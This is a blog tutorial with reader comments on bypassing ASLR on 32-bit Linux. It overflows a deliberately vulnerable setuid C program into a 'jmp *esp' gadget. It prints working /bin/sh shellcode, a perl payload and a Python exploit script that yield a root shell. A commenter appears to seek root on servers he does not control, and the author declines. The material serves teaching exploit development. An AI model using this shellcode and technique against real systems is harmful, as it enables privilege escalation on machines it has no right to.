Vulnerability Development: Buffer Overflows: How To Bypass ASLR…
Hey,
So this is the second post in the series of vulnerability development posts I plan to make. Today we are going to focus on a simple technique used to bypass Address Space Layout Randomization (ASLR). All examples of code have been compiled on a machine with the following specifications:
dusty@devbox:~/Code/ASLR$ lsb_release -a; uname -ar; gcc --version; gdb --version Distributor ID: Ubuntu Description: Ubuntu 10.10 Release: 10.10 Codename: maverick Linux devbox 2.6.35-28-generic-pae #49-Ubuntu SMP Tue Mar 1 14:58:06 UTC 2011 i686 GNU/Linux gcc (Ubuntu/Linaro 4.4.4-14ubuntu5) 4.4.5 GNU gdb (GDB) 7.2-ubuntu dusty@devbox:~/Code/ASLR$
Let’s take a look and make sure that ASLR is infact being utilized:
dusty@devbox:~/Code/ASLR$ cat /proc/sys/kernel/randomize_va_space 2 dusty@devbox:~/Code/ASLR$ ldd ./vuln linux-gate.so.1 => (0xb78d3000) libc.so.6 => /lib/libc.so.6 (0xb7764000) /lib/ld-linux.so.2 (0xb78d4000) dusty@devbox:~/Code/ASLR$ ldd ./vuln linux-gate.so.1 => (0xb78ab000) libc.so.6 => /lib/libc.so.6 (0xb773c000) /lib/ld-linux.so.2 (0xb78ac000) dusty@devbox:~/Code/ASLR$ ldd ./vuln linux-gate.so.1 => (0xb7781000) libc.so.6 => /lib/libc.so.6 (0xb7612000) /lib/ld-linux.so.2 (0xb7782000) dusty@devbox:~/Code/ASLR$
As you can see from the above ASLR is indeed being utilized. Let’s take a look at some code:
dusty@devbox:~/Code/ASLR$ cat vuln.c #include #include // hard coded jmp *esp function ;-) void jmpesp() { __asm__("jmp *%esp"); } int main(int argc, char *argv[]) { char buffer[100]; strcpy(buffer, argv[1]); printf("buffer: [%s].\n", buffer); return 0; } dusty@devbox:~/Code/ASLR$ gcc vuln.c -o vuln -ggdb -fno-stack-protector -z execstack dusty@devbox:~/Code/ASLR$
This is a simple and contrived example yet again, but it serves its purpose. In larger programs you will generally find instructions like jmp *esp which we can utilize to bypass ASLR. I have placed the jmpesp() function there so that I can show you how to utilize it when exploiting this bug, as we wouldn’t normally find it in such a small binary.
It is a classic buffer overflow, argv[1] is copied to ‘buffer’ without bounds checking. We overwrite past the end of ‘buffer’ in turn overwriting the saved return address of main() so that when main() returns we control execution. We will make it return to our jmp *esp and have the esp register contain our shellcode. Let’s take a look at this in action:
dusty@devbox:~/Code/ASLR$ objdump -d ./vuln | grep 'ff e4' 80483f7: ff e4 jmp *%esp dusty@devbox:~/Code/ASLR$ gdb -q ./vuln Reading symbols from /home/dusty/Code/ASLR/vuln...done. (gdb) set disassembly-flavor intel (gdb) disass main Dump of assembler code for function main: 0x080483fb : push ebp 0x080483fc : mov ebp,esp 0x080483fe : and esp,0xfffffff0 0x08048401 : add esp,0xffffff80 0x08048404 : mov eax,DWORD PTR [ebp+0xc] 0x08048407 : add eax,0x4 0x0804840a : mov eax,DWORD PTR [eax] 0x0804840c : mov DWORD PTR [esp+0x4],eax 0x08048410 : lea eax,[esp+0x1c] 0x08048414 : mov DWORD PTR [esp],eax 0x08048417 : call 0x8048314 0x0804841c : mov eax,0x8048500 0x08048421 : lea edx,[esp+0x1c] 0x08048425 : mov DWORD PTR [esp+0x4],edx 0x08048429 : mov DWORD PTR [esp],eax 0x0804842c : call 0x8048324 0x08048431 : mov eax,0x0 0x08048436 : leave 0x08048437 : ret End of assembler dump. (gdb) b *0x08048437 Breakpoint 1 at 0x8048437: file vuln.c, line 15. (gdb) # I set a break point on the ret instruction. (gdb) (gdb) run $(perl -e 'print "A" x 112 . "\xf7\x83\x04\x08" . "B" x 36') Starting program: /home/dusty/Code/ASLR/vuln $(perl -e 'print "A" x 112 . "\xf7\x83\x04\x08" . "B" x 36') buffer: [AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB]. Breakpoint 1, 0x08048437 in main (argc=Cannot access memory at address 0x41414149 ) at vuln.c:15 15 } (gdb) x/i 0x08048437 => 0x8048437 : ret (gdb) # OK so we are at our breakpoint, we have overwritten past 'buffer' and overwritten the return address of main, lets see what happens... (gdb) (gdb) ni Cannot access memory at address 0x41414145 (gdb) i r esp eip esp 0xbffff460 0xbffff460 eip 0x80483f7 0x80483f7 (gdb) x/x 0xbffff460 0xbffff460: 0x42424242 (gdb) # Excellent, as you can see EIP contains the address of our jmpesp. ESP points to our string of B's which is where we will place our shellcode :-) (gdb)
OK, first of all we used objdump to get the address of our ‘jmp *esp’. Then I loaded up GDB and set a break point on main()’s return. I then gave the program a payload with place holders:
run $(perl -e 'print "A" x 112 . "\xf7\x83\x04\x08" . "B" x 36')
I fill the buffer with 112 A’s (junk basically) and then I pass the address of our ‘jmp *esp’ in little endian format which overwrites the return address and this is where execution jumps to. At that location we know ‘jmp *esp’ resides and the processor then jumps to the esp register and execute what resides there. We step over the instruction in GDB using ‘ni’ and look at the esp register which contains our string of B’s (0x42424242). Let’s try this again with shellcode and see what happens, lets change the user to a normal user and change the binary to setuid 😉
dusty@devbox:~/Code/ASLR$ ./vuln $(perl -e 'print "A" x 112 . "\xf7\x83\x04\x08" . "\xeb\x18\x5e\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\xb0\x0b\x8d\x1e\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"') buffer: [AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAë▒^1ÀFF ° V Íèãÿÿÿ/bin/sh]. # id uid=1000(dusty) gid=1000(dusty) euid=0(root) groups=0(root),4(adm),20(dialout),24(cdrom),46(plugdev),111(lpadmin),119(admin),122(sambashare),1000(dusty) # whoami root #
I replaced the B’s with shellcode, and it gave us a root shell 🙂
This simple ‘jmp *esp’ trick allows us to bypass the restrictions of exploiting buffer overflows when ASLR is enabled.
Here is a simple Python script I wrote that exploits the vulnerability:
dusty@devbox:~/Code/ASLR$ cat exploit.py #!/usr/bin/env python import struct import subprocess print "[*] Exploiting..." junk = "\x41" * 112 jmpesp = struct.pack("<I", 0x080483f7); shellcode = "\xeb\x18\x5e\x31\xc0\x88\x46\x07" \ "\x89\x76\x08\x89\x46\x0c\xb0\x0b" \ "\x8d\x1e\x8d\x4e\x08\x8d\x56\x0c" \ "\xcd\x80\xe8\xe3\xff\xff\xff\x2f" \ "\x62\x69\x6e\x2f\x73\x68" payload = junk + jmpesp + shellcode subprocess.call(["./vuln", payload]) dusty@devbox:~/Code/ASLR$ python exploit.py [*] Exploiting... buffer: [AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAë▒^1ÀFF ° V Íèãÿÿÿ/bin/sh]. # whoami;id root uid=1000(dusty) gid=1000(dusty) euid=0(root) egid=0(root) groups=0(root),4(adm),20(dialout),24(cdrom),46(plugdev),111(lpadmin),119(admin),122(sambashare),1000(dusty) #
Izik wrote a very interesting paper on other tricks such as ret2ret, ret2pop, ret2eax, etc.. which can be used to bypass ASLR, it is worth a read and you can find it here:
Smack The Stack – Advanced Buffer Overflow Methods
If you have any questions, comments or even feedback regarding the topic discussed please leave a comment!
The next post will discuss how to bypass the non-executable stack (NX).
nice 😉
I have updated this post thanks to deadbyte for pointing out a point of confusion. When I say Full ASLR what I meant was randomize_va_space = 2, meaning full randomization including the brk space. However it has come to my attention that this might cause confusion for some people in thinking I meant the .txt section was randomized which as we all know on Ubuntu it is not.
So to clear this up I have removed the term ‘Full’ from the post.
awwsome! whats your Email dude ?
You can contact me on: mike.evans@pentura.com.
I added you on msn confirm my request
Check y0ur email dude !
I do not use MSN. If you would like to discuss anything with me the best way to contact me is on IRC (irc.smashthestack.org #social,#io).
In regards to you’re email, I will respond to it this once. Any other questions relating to posts from this blog should really be posted as comments so that everyone can benefit from you’re questions.
aha got it thnks … one more question If server dnt have installed gdb and we have just user access so any hints how we can deal with tht kernel and gain root access ?
shell: line 5: gdb: command not found
gdb
shell: line 6: gdb: command not found
You login to the server as the administrator and install GDB so that the user can utilise it.
If you do not have administrator access on the server, then you shouldn’t be trying to do what you’re trying to do.
I really don’t think you’re interested in learning, it appears that you’re just trying to own boxes. If that is the case then I am not going to help you any further.
Well dude Its Just my question I am using bt5 and as you know on bt5 by default don’t have gdb..
I Just wanna learn like this things because I love this all things… see this bro
echo 1 > /proc/sys/kernel/randomize_va_space
cat /proc/sys/kernel/randomize_va_space
1
in this condition ASLR on or off ?
dusty:
Dude reply me..
you getting me wrong dude…
that was just my question maybe i am new so thts why I asked you stupid question :S
Hey,
First of all when you type ‘gdb’ into Backtrack 5, it will say; GDB is not installed, and the following line explains how to install it:
apt-get install gdb or apt-cache search gdb and install what you need.
In reference to the ALSR question, that means ASLR is turned on. There are three settings, 0, 1 and 2. To turn ASLR off you need to set it to 0. You can test this by running:
ldd `which ls`
Run this command a couple of times and notices the addresses change, if they change each time you run that command then you know ASLR is in use. If they stay the same then you know you’ve turned ASLR off.
To turn ASLR off try:
echo “0” > /proc/sys/kernel/randomize_va_space
Hope this helps.
Dusty.
ohh thanks dude… I understand
dude can u explain me more abt this line >>
run $(perl -e ‘print “A” x 112 . “\xf7\x83\x04\x08” . “B” x 36’) why you this address 080483f7 If its jmp *esp* address so how I can see in my machine and what is x 36 ?
as you know i want to be an expert on it so tell me which smash-stack Game to help me for learning this thing.. so i can learn easly ? like IO, blowfish, tux, amateria, blackbox
If ASLR off so we use the same method for gaining root ?.. sorry for double post
dusty kindly just explain whats this ?
see this why its so big >> 0x0000003708000000 is it exploitable ?
[root@localhost legend]# ldd ./vuln
linux-vdso.so.1 => (0x00007fffb5e92000)
libc.so.6 => /lib64/libc.so.6 (0x0000003708400000)
/lib64/ld-linux-x86-64.so.2 (0x0000003708000000)
[root@localhost legend]# gdb -q vuln
Reading symbols from /home/legend/vuln…(no debugging symbols found)…done.
(gdb) i r
The program has no registers now.
(gdb) disass main
Dump of assembler code for function main:
0x00000000004004bf : push %rbp
0x00000000004004c0 : mov %rsp,%rbp
0x00000000004004c3 : sub $0x10,%rsp
0x00000000004004c7 : mov %edi,-0x4(%rbp)
0x00000000004004ca : mov %rsi,-0x10(%rbp)
0x00000000004004ce : mov -0x10(%rbp),%rax
0x00000000004004d2 : add $0x8,%rax
0x00000000004004d6 : mov (%rax),%rdi
0x00000000004004d9 : callq 0x400498
0x00000000004004de : mov $0x0,%eax
0x00000000004004e3 : leaveq
0x00000000004004e4 : retq
End of assembler dump.
Hey,
The reason the addresses are so big is because you’re looking at 64bit addresses and not 32bit addresses. I recommend you play around with a 32bit OS first rather than devling into the 64bit realm 🙂
Dusty.
hi dusty!
Thanks got it 🙂
Dude kindly read my email and reply thanks
Hello. Thank you for the writings, as it seems it is very easy to bypass using ret2reg where is an implemented one within the executable, as lately from kernel >= 2.6.18, va’s of libraries are also randomized apparentely, I won’t go even in the details of the newest kernels.
As I tried this on a CentOS 5.5 with NX supported by CPU (of course, disabled at compilation time of the executable) I stumbled upon the following problem:
1. When I try to execute the overflow with junk, return by register address and shellcode (exploit: bof+ret2reg_addr+sc), a Segmentation fault occurs;
2. Related to 1, at compilation time (to your source code), I used of course the gcc following flags: -fno-stack-protector -z execstack along with -ggdb for verbosing purposes inside the gdb;
3. Upon info reg esp, gdb reports me that it has overwritten with 41h (A), but only the first 3 bytes of the word, meaning: ESP = 41 41 41 3d, can you please tell me why there is a “protection byte” (if I may call it like that) at the end of the ESP address?
4. EIP was not overwritten, it points to the address 0x8048429;
A report of the compiled executable is:
No relro
NX disabled
No canary found
No PIE
No RPATH
No RUNPATH
ASLR is set to stage 1 (no heap randomization): randomize_va_space: 1
What the problem may be? I am really curious about this one, I spent some time and read the phrack papers trying to find an around about it, but all the examples are behaving as the one posted here, EIP gets overwritten, ESP points to what it should be, and ESP does not get overwritten and EIP points to “nowhere” in address layer space.
Thanks!
I forgot to mention that the Kernel (2.6.18) has no PaX or any other enhancing patch. SELinux is disabled (not enforcing). Also please fix the first two lines of your source code, where the including of the libraries occurs:
I think it should be:
1 #include
2 #include
.. [.. rest of the code ..]
Instead of
1 #include
2 #include
.. [.. rest of the code ..]
Thank you!
Regarding the previous comment about the including of the headers I think there is a problem either from the theme or wordpress when ` < ' is mentioned.
hi
Hi Dusty,
I want to know how you calculated the “112” magic number which ends at the start of the RETURN ADDRESS for the calling function? I know there are only 100 bytes for the “buffer” variable and we have not pushed anything on the stack.
-dean
Nice post!
under ASLR, how do you know the address of “jmp *esp”? it is also randomized, right?
http://sts.synflood.de/dump/doc/smackthestack.txt